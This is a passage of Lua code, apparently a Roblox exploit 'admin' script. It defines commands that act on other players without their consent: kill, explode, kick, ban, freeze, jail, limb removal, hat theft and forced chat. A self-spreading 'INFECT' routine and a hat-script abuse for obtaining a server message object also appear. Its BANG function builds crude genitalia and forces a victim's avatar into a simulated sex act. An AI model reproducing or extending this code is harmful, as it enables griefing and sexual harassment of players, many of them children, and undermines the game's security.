M6.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1) M6.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1) for i,v in pairs(HAT_CLONE) do v.Parent = C end end function CAPE(COLOR) if LP.Character:FindFirstChild('Cape') then LP.Character.Cape:destroy() end repeat wait() until LP and LP.Character and LP.Character:FindFirstChild('Torso') local T = LP.Character.Torso local C = Instance.new('Part', T.Parent) C.Name = 'cape_seth' C.Anchored = false C.CanCollide = false C.TopSurface = 0 C.BottomSurface = 0 C.BrickColor = BrickColor.new(COLOR) C.Material = 'Neon' C.Size = Vector3.new(0.2, 0.2, 0.2) local M = Instance.new('BlockMesh', C) M.Scale = Vector3.new(9, 17.5, 0.5) local M1 = Instance.new('Motor', C) M1.Part0 = C M1.Part1 = T M1.MaxVelocity = 1 M1.C0 = CFrame.new(0, 1.75, 0) * CFrame.Angles(0, math.rad(90), 0) M1.C1 = CFrame.new(0, 1, .45) * CFrame.Angles(0, math.rad(90), 0) local WAVE = false repeat wait(1 / 44) local ANG = 0.2 local oldMag = T.Velocity.magnitude local MV = 0.1 if WAVE then ANG = ANG + ((T.Velocity.magnitude / 10) * 0.05) + 1 WAVE = false else WAVE = false end ANG = ANG + math.min(T.Velocity.magnitude / 30, 1) M1.MaxVelocity = math.min((T.Velocity.magnitude / 10), 0.04) + MV M1.DesiredAngle = -ANG if M1.CurrentAngle < -0.05 and M1.DesiredAngle > -.05 then M1.MaxVelocity = 0.04 end repeat wait() until M1.CurrentAngle == M1.DesiredAngle or math.abs(T.Velocity.magnitude - oldMag) >= (T.Velocity.magnitude / 10) + 1 if T.Velocity.magnitude < 0.1 then wait(0.1) end until not C or C.Parent ~= T.Parent end function INFECT(PLAYER) for i,v in pairs(PLAYER.Character:GetChildren()) do Instance.new('Folder', PLAYER.Character).Name = 'infected_seth' if v:IsA('Accessory') or v:IsA('Shirt') or v:IsA('Pants') then v:destroy() elseif v:IsA('ShirtGraphic') then v.Archivable = false v.Graphic = '' end end if PLAYER.Character.Head:FindFirstChild('face') then PLAYER.Character.Head.face.Texture = 'rbxassetid://7074882' end for i,v in pairs (PLAYER.Character:GetChildren()) do if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then if v.Name == 'Head' or v.Name == 'Left Arm' or v.Name == 'Right Arm' then v.BrickColor = BrickColor.new('Medium green') elseif v.Name == 'Torso' or v.Name == 'Left Leg' or v.Name == 'Right Leg' then v.BrickColor = BrickColor.new('Brown') end end end local T = PLAYER.Character.Torso.Touched:connect(function(TC) if not TC.Parent:FindFirstChild('infected_seth') then local GPFC = _PLAYERS:GetPlayerFromCharacter(TC.Parent) if GPFC then INFECT(GPFC) end end end) end function fWeld(zName, zParent, zPart0, zPart1, zCoco, A, B, C, D, E, F) local funcw = Instance.new('Weld') funcw.Name = zName funcw.Parent = zParent funcw.Part0 = zPart0 funcw.Part1 = zPart1 if (zCoco) then funcw.C0 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F) else funcw.C1 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F) end return funcw end function BANG(VICTIM) spawn(function() local P1 = _PLAYERS.LocalPlayer.Character.Torso local V1 = _PLAYERS[VICTIM].Character.Torso V1.Parent.Humanoid.PlatformStand = true P1['Left Shoulder']:destroy() local LA1 = Instance.new('Weld', P1) LA1.Part0 = P1 LA1.Part1 = P1.Parent['Left Arm'] LA1.C0 = CFrame.new(-1.5, 0, 0) LA1.Name = 'Left Shoulder' P1['Right Shoulder']:destroy() local RS1 = Instance.new('Weld', P1) RS1.Part0 = P1 RS1.Part1 = P1.Parent['Right Arm'] RS1.C0 = CFrame.new(1.5, 0, 0) RS1.Name = 'Right Shoulder' V1['Left Shoulder']:destroy() local LS2 = Instance.new('Weld', V1) LS2.Part0 = V1 LS2.Part1 = V1.Parent['Left Arm'] LS2.C0 = CFrame.new(-1.5, 0, 0) LS2.Name = 'Left Shoulder' V1['Right Shoulder']:destroy() local RS2 = Instance.new('Weld', V1) RS2.Part0 = V1 RS2.Part1 = V1.Parent['Right Arm'] RS2.C0 = CFrame.new(1.5, 0, 0) RS2.Name = 'Right Shoulder' V1['Left Hip']:destroy() local LH2 = Instance.new('Weld', V1) LH2.Part0 = V1 LH2.Part1 = V1.Parent['Left Leg'] LH2.C0 = CFrame.new(-0.5, -2, 0) LH2.Name = 'Left Hip' V1['Right Hip']:destroy() local RH2 = Instance.new('Weld', V1) RH2.Part0 = V1 RH2.Part1 = V1.Parent['Right Leg'] RH2.C0 = CFrame.new(0.5, -2, 0) RH2.Name = 'Right Hip' local D = Instance.new('Part', P1) D.TopSurface = 0 D.BottomSurface = 0 D.CanCollide = false D.BrickColor = BrickColor.new('Pastel brown') D.Shape = 'Ball' D.Size = Vector3.new(1, 1, 1) local DM1 = Instance.new('SpecialMesh', D) DM1.MeshType = 'Sphere' DM1.Scale = Vector3.new(0.4, 0.4, 0.4) fWeld('weld', P1, P1, D, true, -0.2, -1.3, -0.6, 0, 0, 0) local D2 = D:Clone() D2.Parent = P1 fWeld('weld', P1, P1, D2, true, 0.2, -1.3, -0.6, 0, 0, 0) local C = Instance.new('Part', P1) C.TopSurface = 0 C.BottomSurface = 0 C.CanCollide = false C.BrickColor = BrickColor.new('Pastel brown') C.Size = Vector3.new(0.4, 1.3, 0.4) fWeld('weld', P1, P1, C, true, 0, -1, -0.52 + (-C.Size.y / 2), math.rad(-80), 0, 0) local C2 = D:Clone() C2.BrickColor = BrickColor.new('Pink') C2.Mesh.Scale = Vector3.new(0.4, 0.62, 0.4) C2.Parent = P1 fWeld('weld', C, C, C2, true, 0, 0 + (C.Size.y / 2), 0, math.rad(-10), 0, 0) local CM = Instance.new('CylinderMesh', C) local BL = Instance.new('Part', V1) BL.TopSurface = 0 BL.BottomSurface = 0 BL.CanCollide = false BL.BrickColor = BrickColor.new('Pastel brown') BL.Shape = 'Ball' BL.Size = Vector3.new(1, 1, 1) local DM2 = Instance.new('SpecialMesh', BL) DM2.MeshType = 'Sphere' DM2.Scale = Vector3.new(1.2, 1.2, 1.2) fWeld('weld', V1, V1, BL, true, -0.5, 0.5, -0.6, 0, 0, 0) local BR = Instance.new('Part', V1) BR.TopSurface = 0 BR.BottomSurface = 0 BR.CanCollide = false BR.BrickColor = BrickColor.new('Pastel brown') BR.Shape = 'Ball' BR.Size = Vector3.new(1, 1, 1) local DM3 = Instance.new('SpecialMesh', BR) DM3.MeshType = 'Sphere' DM3.Scale = Vector3.new(1.2, 1.2, 1.2) fWeld('weld', V1, V1, BR, true, 0.5, 0.5, -0.6, 0, 0, 0) local BLN = Instance.new('Part', V1) BLN.TopSurface = 0 BLN.BottomSurface = 0 BLN.CanCollide = false BLN.BrickColor = BrickColor.new('Pink') BLN.Shape = 'Ball' BLN.Size = Vector3.new(1, 1, 1) local DM4 = Instance.new('SpecialMesh', BLN) DM4.MeshType = 'Sphere' DM4.Scale = Vector3.new(0.2, 0.2, 0.2) fWeld('weld', V1, V1, BLN, true, -0.5, 0.5, -1.2, 0, 0, 0) local BRN = Instance.new('Part', V1) BRN.TopSurface = 0 BRN.BottomSurface = 0 BRN.CanCollide = false BRN.BrickColor = BrickColor.new('Pink') BRN.Shape = 'Ball' BRN.Size = Vector3.new(1, 1, 1) local DM5 = Instance.new('SpecialMesh', BRN) DM5.MeshType = 'Sphere' DM5.Scale = Vector3.new(0.2, 0.2, 0.2) fWeld('weld', V1, V1, BRN, true, 0.5, 0.5, -1.2, 0, 0, 0) LH2.C1 = CFrame.new(0.2, 1.6, 0.4) * CFrame.Angles(3.9, -0.4, 0) RH2.C1 = CFrame.new(-0.2, 1.6, 0.4) * CFrame.Angles(3.9, 0.4, 0) LS2.C1 = CFrame.new(-0.2, 0.9, 0.6) * CFrame.Angles(3.9, -0.2, 0) RS2.C1 = CFrame.new(0.2, 0.9, 0.6) * CFrame.Angles(3.9, 0.2, 0) LA1.C1 = CFrame.new(-0.5, 0.7, 0) * CFrame.Angles(-0.9, -0.4, 0) RS1.C1 = CFrame.new(0.5, 0.7, 0) * CFrame.Angles(-0.9, 0.4, 0) if P1:FindFirstChild('weldx') then P1.weldx:destroy() end WE = fWeld('weldx', P1, P1, V1, true, 0, -0.9, -1.3, math.rad(-90), 0, 0) local N = V1.Neck N.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(-210), math.rad(180), 0) end) spawn(function() while wait() do for i = 1, 6 do WE.C1 = WE.C1 * CFrame.new(0, -0.3, 0) end for i = 1, 6 do WE.C1 = WE.C1 * CFrame.new(0, 0.3, 0) end end end) end function RESPAWN(PLAYER) local M = Instance.new('Model', workspace) M.Name = 'respawn_seth' local T = Instance.new('Part', M) T.Name = 'Torso' T.CanCollide = false T.Transparency = 1 Instance.new('Humanoid', M) PLAYER.Character = M end function LOAD_MESSAGE(STRING) _PLAYERS.LocalPlayer.CharacterAppearanceId = 20018 RESPAWN(LP) R = false LP.CharacterAdded:connect(function() if not R then wait(0.5) if LP.Character:FindFirstChild('Humanoid') then MAIN_HAT = LP.Character:FindFirstChild('BunnyEarsOfCaprice'):Clone() end R = true end end) repeat wait() until R RESPAWN(LP) LP.CharacterAppearanceId = 0 if MAIN_HAT then MAIN_HAT.Handle.CanCollide = true local M = MAIN_HAT.Handle.BunnyTools.EggScript3:Clone() local P = Instance.new('Part') M.Disabled = false M.Parent = P MAIN_HAT.Handle.BunnyTools.EggMesh3:Clone().Parent = P MAIN_HAT:destroy() P.Parent = LP.Character repeat wait() until LP:FindFirstChild('ChessMsg') MG = LP:FindFirstChild('ChessMsg') MG.Name = 'message_seth' MG.Text = '' MG.Parent = workspace MESSAGE(STRING) P:destroy() for i,v in pairs(workspace:GetChildren()) do if v:IsA('Part') and v.BrickColor == BrickColor.new('Bright red') and v.Reflectance == 0 and v.Transparency == 0 and not v.Anchored and v.CanCollide and v.Locked and v:FindFirstChild('Decal') and v.Size == Vector3.new(8, 0.4, 8) then if v.Decal.Texture == 'http://www.roblox.com/asset/?id=1531000' and v.Transparency == 0 and v.Decal.Face == Enum.NormalId.Top then v:destroy() end end end end end function MESSAGE(STRING) if not SHOWING_MESSAGE then spawn(function() SHOWING_MESSAGE = true MG.Text = STRING wait(5) MG.Text = '' SHOWING_MESSAGE = false end) end end _G.CLICK_TP = false local M_CTRL = false MOUSE.KeyDown:connect(function(K) if K:byte() == 50 then M_CTRL = true end end) MOUSE.KeyUp:connect(function(K) if K:byte() == 50 then M_CTRL = false end end) MOUSE.Button1Down:connect(function() if _G.CLICK_TP and M_CTRL and MOUSE.Target and LP.Character and LP.Character:FindFirstChild('HumanoidRootPart') then LP.Character.HumanoidRootPart.CFrame = CFrame.new(MOUSE.Hit.p) + Vector3.new(0, 3, 0) end end) _LIGHTING.Outlines = false -- / outlines are gross if FIND_IN_TABLE(BANS, LP.userId) then LP:Kick() end for i,v in pairs(_PLAYERS:GetPlayers()) do if FIND_IN_TABLE(BANS, v.userId) then table.insert(KICKS, v) else UPDATE_CHAT(v) end end -- / commands ADD_COMMAND('ff','ff [plr]', {}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do Instance.new('ForceField', _PLAYERS[v].Character) end end) ADD_COMMAND('unff','unff [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do if v:IsA('ForceField') then v:destroy() end end end end) ADD_COMMAND('fire','fire [plr] [r] [g] [b]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then local F = Instance.new('Fire', v) if ARGS[2] and ARGS[3] and ARGS[4] then F.Color = C3(ARGS[2], ARGS[3], ARGS[4]) F.SecondaryColor = C3(ARGS[2], ARGS[3], ARGS[4]) end end end end end) ADD_COMMAND('unfire','unfire [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character for i,v in pairs(PCHAR:GetChildren()) do for i,v in pairs(v:GetChildren()) do if v:IsA('Fire') then v:destroy() end end end end end) ADD_COMMAND('sp','sp [plr] [r] [g] [b]',{'sparkles'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then if ARGS[2] and ARGS[3] and ARGS[4] then Instance.new('Sparkles', v).Color = C3(ARGS[2], ARGS[3], ARGS[4]) else Instance.new('Sparkles', v) end end end end end) ADD_COMMAND('unsp','unsp [plr]',{'unsparkles'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do for i,v in pairs(v:GetChildren()) do if v:IsA('Sparkles') then v:destroy() end end end end end) ADD_COMMAND('smoke','smoke [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do Instance.new('Smoke', _PLAYERS[v].Character.Torso) end end) ADD_COMMAND('unsmoke','unsmoke [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do for i,v in pairs(_PLAYERS[v].Character.Torso:GetChildren()) do if v:IsA('Smoke') then v:destroy() end end end end) ADD_COMMAND('btools','btools [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do Instance.new('HopperBin', _PLAYERS[v].Backpack).BinType = 2 Instance.new('HopperBin', _PLAYERS[v].Backpack).BinType = 3 Instance.new('HopperBin', _PLAYERS[v].Backpack).BinType = 4 end end) ADD_COMMAND('god','god [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid.MaxHealth = math.huge PCHAR.Humanoid.Health = PCHAR.Humanoid.MaxHealth end end end) ADD_COMMAND('sgod','sgod [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid.MaxHealth = 10000000 PCHAR.Humanoid.Health = PCHAR.Humanoid.MaxHealth end end end) ADD_COMMAND('ungod','ungod [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid.MaxHealth = 100 end end end) ADD_COMMAND('heal','heal [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid.Health = PCHAR.Humanoid.MaxHealth end end end) ADD_COMMAND('freeze','freeze [plr]',{'frz'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character for i,v in pairs(PCHAR:GetChildren()) do if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then v.Anchored = true end end end end end) ADD_COMMAND('thaw','thaw [plr]',{'unfreeze','unfrz'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do for i,v in pairs(PLAYERS) do for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do if v:IsA('Part') then v.Anchored = false end end end end end) ADD_COMMAND('kill','kill [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do _PLAYERS[v].Character:BreakJoints() end end) ADD_COMMAND('sound','sound [id]',{}, function(ARGS, SPEAKER) for i,v in pairs(workspace:GetChildren()) do if v:IsA('Sound') then v:Stop() v:destroy() end end if ARGS[1]:lower() ~= 'off' then local S = Instance.new('Sound', workspace) S.Name = 'song_seth' S.Archivable = false S.Looped = true S.SoundId = 'rbxassetid://' .. ARGS[1] S.Volume = 1 S:Play() end end) ADD_COMMAND('volume','volume [int]',{}, function(ARGS, SPEAKER) for i,v in pairs(workspace:GetChildren()) do if v:IsA('Sound') then v.Volume = ARGS[1] end end end) ADD_COMMAND('pitch','pitch [int]',{}, function(ARGS, SPEAKER) for i,v in pairs(workspace:GetChildren()) do if v:IsA('Sound') then v.Pitch = ARGS[1] end end end) ADD_COMMAND('explode','explode [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR:FindFirstChild('Torso') then Instance.new('Explosion', PCHAR).Position = PCHAR.Torso.Position end end end) ADD_COMMAND('invis','invis [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character for i,v in pairs(PCHAR:GetChildren()) do if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then v.Transparency = 1 end if v:IsA('Accessory') and v:FindFirstChild('Handle') then v.Handle.Transparency = 1 end end if PCHAR.Head:FindFirstChild('face') then PCHAR.Head.face.Transparency = 1 end end end) ADD_COMMAND('vis','vis [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character for i,v in pairs(PCHAR:GetChildren()) do if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then v.Transparency = 0 end if v:IsA('Accessory') and v:FindFirstChild('Handle') then v.Handle.Transparency = 0 end end if PCHAR.Head:FindFirstChild('face') then PCHAR.Head.face.Transparency = 0 end end end) ADD_COMMAND('goto','goto [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR then SPEAKER.Character.HumanoidRootPart.CFrame = PCHAR.Torso.CFrame end end end) ADD_COMMAND('bring','bring [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do _PLAYERS[v].Character.HumanoidRootPart.CFrame = SPEAKER.Character.Torso.CFrame end end) ADD_COMMAND('tp','tp [plr] [plr]',{}, function(ARGS, SPEAKER) local PLAYERS1, PLAYERS2 = GET_PLAYER(ARGS[1], SPEAKER), GET_PLAYER(ARGS[2], SPEAKER) for i,v in pairs(PLAYERS1) do for a,b in pairs(PLAYERS2) do if _PLAYERS[v].Character and _PLAYERS[b].Character then _PLAYERS[v].Character.HumanoidRootPart.CFrame = _PLAYERS[b].Character.Torso.CFrame end end end end) ADD_COMMAND('char','char [plr] [id]',{'charapp'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do _PLAYERS[v].CharacterAppearanceId = ARGS[2] _PLAYERS[v].Character:BreakJoints() end end) ADD_COMMAND('ws','ws [plr] [int]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid.WalkSpeed = tonumber(ARGS[2]) end end end) ADD_COMMAND('time','time [int]',{}, function(ARGS, SPEAKER) _LIGHTING:SetMinutesAfterMidnight(tonumber(ARGS[1]) * 60) end) ADD_COMMAND('kick','kick [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do table.insert(KICKS, _PLAYERS[v]) end end) ADD_COMMAND('ban','ban [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do table.insert(BANS, _PLAYERS[v].userId) table.insert(KICKS, _PLAYERS[v]) UPDATE_BANS() end end) ADD_COMMAND('unban','unban [username]',{}, function(ARGS, SPEAKER) if FIND_IN_TABLE(BANS, game.Players:GetUserIdFromNameAsync(ARGS[1])) then table.remove(BANS, GET_IN_TABLE(BANS, game.Players:GetUserIdFromNameAsync(ARGS[1]))) UPDATE_BANS() end end) ADD_COMMAND('unlockws','unlock',{'unlock'}, function(ARGS, SPEAKER) local function UNLOCK(INSTANCE) for i,v in pairs(INSTANCE:GetChildren()) do if v:IsA('BasePart') then v.Locked = false end UNLOCK(v) end end UNLOCK(workspace) end) ADD_COMMAND('lockws','lock',{'lock'}, function(ARGS, SPEAKER) local function LOCK(INSTANCE) for i,v in pairs(INSTANCE:GetChildren()) do if v:IsA('BasePart') then v.Locked = true end LOCK(v) end end LOCK(workspace) end) ADD_COMMAND('unanchorws','unanchor',{'unanchor'}, function(ARGS, SPEAKER) local function UNANCHOR(INSTANCE) for i,v in pairs(INSTANCE:GetChildren()) do if v:IsA('BasePart') then v.Anchored = false end UNANCHOR(v) end end UNANCHOR(workspace) end) ADD_COMMAND('anchorws','anchor',{'anchor'}, function(ARGS, SPEAKER) local function ANCHOR(INSTANCE) for i,v in pairs(INSTANCE:GetChildren()) do if v:IsA('BasePart') then v.Anchored = true end ANCHOR(v) end end ANCHOR(workspace) end) ADD_COMMAND('hsize','hsize [plr] [int]',{'hatsize'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do if v:IsA('Accessory') then for a,b in pairs(v.Handle:GetChildren()) do if b:IsA('SpecialMesh') then b.Scale = ARGS[2] * Vector3.new(1, 1, 1) end end end end end end) ADD_COMMAND('shats','shats [plr]',{'stealhats'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do if v:IsA('Accessory') then v.Parent = SPEAKER.Character end end end end) ADD_COMMAND('rhats','rhats [plr]',{'removehats'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid:RemoveAccessories() end end end) ADD_COMMAND('firstp','firstp [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do _PLAYERS[v].CameraMode = 'LockFirstPerson' end end) ADD_COMMAND('thirdp','thirdp [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do _PLAYERS[v].CameraMode = 'Classic' end end) ADD_COMMAND('chat','chat [plr] [string]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do game.Chat:Chat(_PLAYERS[v].Character.Head, GLS(false, 1)) end end) ADD_COMMAND('name','name [plr] [string]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do _PLAYERS[v].Character.Name = GLS(false, 1) end end) ADD_COMMAND('unname','unname [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do _PLAYERS[v].Character.Name = _PLAYERS[v].Name end end) ADD_COMMAND('noname','noname [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do _PLAYERS[v].Character.Name = '' end end) ADD_COMMAND('stun','stun [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character PCHAR.Humanoid.PlatformStand = true end end) ADD_COMMAND('unstun','unstun [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character PCHAR.Humanoid.PlatformStand = false end end) ADD_COMMAND('guest','guest [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character _PLAYERS[v].CharacterAppearanceId = 1 PCHAR:BreakJoints() end end) ADD_COMMAND('noob','noob [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character _PLAYERS[v].CharacterAppearanceId = 155902847 PCHAR:BreakJoints() end end) ADD_COMMAND('damage','damage [plr] [int]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do _PLAYERS[v].Character.Humanoid:TakeDamage(ARGS[2]) end end) ADD_COMMAND('view','view [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character workspace.CurrentCamera.CameraSubject = PCHAR end end) ADD_COMMAND('unview','unview',{}, function() workspace.CurrentCamera.CameraSubject = _PLAYERS.LocalPlayer.Character end) ADD_COMMAND('nolimbs','nolimbs [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character for i,v in pairs(PCHAR:GetChildren()) do local LIMB = PCHAR.Humanoid:GetLimb(v) if v:IsA('BasePart') and PCHAR:FindFirstChild('Humanoid') and LIMB ~= Enum.Limb.Unknown and LIMB ~= Enum.Limb.Head and LIMB ~= Enum.Limb.Torso then v:destroy() end end end end) ADD_COMMAND('box','box [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character local SB = Instance.new('SelectionBox', PCHAR) SB.Adornee = SB.Parent SB.Color = BrickColor.new('' .. (ARGS[2])) end end) ADD_COMMAND('unbox','nobox [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do if v:IsA('SelectionBox') then v:destroy() end end end end) ADD_COMMAND('ghost','ghost [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character for i,v in pairs(PCHAR:GetChildren()) do if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then v.Transparency = 0.5 elseif v:IsA('Accessory') and v:FindFirstChild('Handle') then v.Handle.Transparency = 0.5 elseif PCHAR.Head:FindFirstChild('face') then PCHAR.Head.face.Transparency = 0.5 end end end end) ADD_COMMAND('sphere','sphere [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR=_PLAYERS[v].Character local SS = Instance.new('SelectionSphere', PCHAR) SS.Adornee = SS.Parent end end) ADD_COMMAND('sky','sky [id]',{}, function(ARGS, SPEAKER) if ARGS[1] then for i,v in pairs(_LIGHTING:GetChildren()) do if v:IsA('Sky') then v:destroy() end end local SKIES = {'Bk', 'Dn', 'Ft', 'Lf', 'Rt', 'Up'} local SKY = Instance.new('Sky', _LIGHTING) for i,v in pairs(SKIES) do SKY['Skybox' .. v] = 'rbxassetid://' .. ARGS[1] - 1 end end end) ADD_COMMAND('ambient','ambient [r] [g] [b]',{}, function(ARGS, SPEAKER) if ARGS[1] and ARGS[2] and ARGS[3] then _LIGHTING.Ambient = C3(ARGS[1], ARGS[2], ARGS[3]) end end) ADD_COMMAND('jail','jail [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do if FIND_IN_TABLE(JAILED, _PLAYERS[v].Name) then return end table.insert(JAILED, _PLAYERS[v].Name) local PCHAR = _PLAYERS[v].Character local J = JAIL:Clone() J.Parent = workspace J:MoveTo(PCHAR.Torso.Position) J.Name = 'JAIL_' .. _PLAYERS[v].Name repeat wait() PCHAR = _PLAYERS[v].Character if PCHAR and PCHAR:FindFirstChild('HumanoidRootPart') and J:FindFirstChild('MAIN') then PCHAR.HumanoidRootPart.CFrame = J.MAIN.CFrame + Vector3.new(0, 1, 0) end until not FIND_IN_TABLE(JAILED, _PLAYERS[v].Name) end end) ADD_COMMAND('unjail','unjail [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = 